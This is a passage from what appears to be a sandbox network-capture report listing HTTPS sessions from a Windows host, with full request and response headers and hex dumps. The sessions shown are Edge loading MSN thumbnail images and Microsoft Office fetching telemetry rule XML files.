2024-11-11 18:52:31 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:31 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=87015 Expires: Tue, 12 Nov 2024 19:02:46 GMT Date: Mon, 11 Nov 2024 18:52:31 GMT Connection: close
2024-11-11 18:52:31 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1c14ddc0-c01e-0079-51d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f78459685m244hC1EWRgp2c000000054g00000000gpbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5ac3f5ac-801e-008f-14d5-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968j6t2phC1EWRcfe800000005kg000000002qtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 55c09f61-d01e-0082-16d5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968jrjrxhC1EWRmmrs00000005bg00000000shv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3ca8c4c6-201e-0096-0fd5-33ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f78459685726chC1EWRsnbg00000005f0000000003vt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 904e9adf-b01e-003e-62d5-338e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968nnm4mhC1EWR1rn400000005cg000000000cc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49934	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:31 UTC	550	IN	HTTP/1.1 200 OK Last-Modified: Sat, 02 Nov 2024 22:24:39 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 64ca815b-4731-4bca-814e-455eb8df8a00 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=55924 Expires: Tue, 12 Nov 2024 10:24:35 GMT Date: Mon, 11 Nov 2024 18:52:31 GMT Connection: close
2024-11-11 18:52:31 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: a04d8451-d01e-00ad-12d5-33e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968vqt9xhC1EWRgten00000005ag00000000kwmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: ab1019be-501e-0035-43d5-33c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968jrjrxhC1EWRmmrs00000005kg00000000127c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 41743bdd-f01e-003c-7cd5-338cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f78459685726chC1EWRsnbg00000005a000000000q2qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ca9795ec-a01e-006f-27d5-3313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968ljs8phC1EWRe6en000000056g00000000af3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:31 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2f59fc8c-901e-002a-3cd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185231Z-174f7845968psccphC1EWRuz9s00000005hg00000000fxwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
